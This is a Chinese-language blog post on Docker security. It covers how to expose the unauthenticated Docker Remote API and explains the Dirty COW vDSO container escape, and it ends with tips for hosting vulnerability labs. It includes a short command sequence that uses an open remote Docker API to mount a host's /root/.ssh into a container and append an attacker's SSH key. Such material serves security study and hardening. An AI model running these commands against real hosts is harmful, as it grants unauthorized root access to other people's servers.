Docker安全

不自量力的还手,直至死方休。

Docker Remote Api 未授权

Docker Remote API是指docker团队为了远程管理docker,允许通过unix socket通信操作Docker daemon,也可以通过HTTP调用其Rest API,完成容器的查询,创建、销毁等等操作。

docker默认是没有开启Remote API的,需要我们手动开启。

  • Kali下: 编辑/lib/systemd/system/docker.service文件

注释掉图中第第二行,并在其上方添加一行(默认端口为2375):

1
2
ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375
#ExecStart=/usr/bin/dockerd -H fd://
  • 重启服务:
1
2
sudo systemctl daemon-reload
sudo service docker restart
  • 浏览器输入IP地址:2375/images/json就能查看宿主机的所有镜像:

docker_remote_api

  • 获取所有容器

docker_remote_api

其他api参见官方文档:

https://docs.docker.com/engine/api/v1.29/

Remote_api调用示意图:

remote_api的通信

通过tls的双向认证,确保不被非法访问

remote_api认证

  • 如何控制宿主机
1
2
3
4
5
6
7
8
# 使docker命令可以操作远端docker引擎
export DOCKER_HOST="tcp://8.8.8.8:2375"
# 装一个ubuntu
docker pull ubuntu
# 启动镜像并挂载/root/.ssh
docker run -it -v /root/.ssh:/tmp/.ssh ubuntu /bin/bash
# 写入自己的公钥
echo "xxx" >> /tmp/.ssh/authorized_keys

DirtyCow漏洞对Docker的影响

影响

  • 漏洞自Linux 2.6.22(发布于 2007 年)存在至今,并于2016年10月18日被修复。绝大多数基于linux内核的发行版(包括安卓在内)均受到影响。

效果

  • 可使一个低权限用户提升至root权限。
1
2
test@ubuntu:~$ uname -a
Linux ubuntu 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

docker内核

DirtyCow套路Docker

PoC for Dirty COW (CVE-2016-5195)

vDSO是一个优化性能的功能。在vDSO的帮助页面上以gettimeofday为例进行说明,gettimeofday经常被用户空间的程序和C语言库调用。试想一下,如果一个程序需要立即知道当前的时间,就会频繁的进行定时循环或者轮询。为了减少开销,而且这不是私密信息,所以,它可以轻易并安全地在所有进程中共享。内核就需要负责把时间放在一个所有进程都能访问的内存位置。于是,通过在vDSO中定义一个功能来共享这个对象,让进程来访问此信息。
通过这种方式,调用gettimeofday的花销就大大降低了,速度也就变得更快了。

  1. 通过漏洞将shellcode写入本不能写入的vDSO(内核中特殊内存)

  2. 修改clock_gettime内核函数

  3. 当用户层程序调用clock_gettime函数(实际已经被替换),且是一个root权限的进程的时候,将会反弹回来一个shell

Docker逃逸与Vmware逃逸比较

https://cansecwest.com/slides/2016/CSW2016_Wang_DockerEscapeTechnology.pdf

2016年3月18日早上,在加拿大温哥华举行世界顶级信息安全峰会Cansecwest中来自360的
安全专家wangshengping@Marvel Team介绍了docker逃逸技术.理论上说,只要linux内核出现
任意代码执行漏洞,docker必然是可以逃逸的!

内核做,黑客看,Linus & Greg 留隐患!0day 一出天地灭,赶紧下线保平安!
诚心诚念 PaX 好,HardenedLinux 平安保。系统皆为安全来,
security > through obscurity 忘前缘,spender 弟子说真相,换你内核莫拒绝!
上网搜 CVE-2016-5195,有天机!
– 某个盖子@weibo

相比较Vmware
不论从启动时间,还是性能上比较
docker都是很有优势的

传统虚拟化从隔离性或者安全性上
远远优于docker

Docker在安全中的应用

安全研究者研究漏洞最头疼的就是找环境

1.如果自己搭建费时费力

2.如果从网上找真是环境一是不好找,二是违法的

所以使用docker保存漏洞环境是最完美

如下是几个大佬的github Docker库

漏洞靶场

  1. 域名使用泛解析,指向docker服务器(端口总有用完的时候,域名却不用,而且端口容易被其他人探测,但64位长度的域名却很难猜解)

  2. 反代根据情况进行代理

  3. 如果保证remote_api的安全,限制远端服务器ip只能是xxx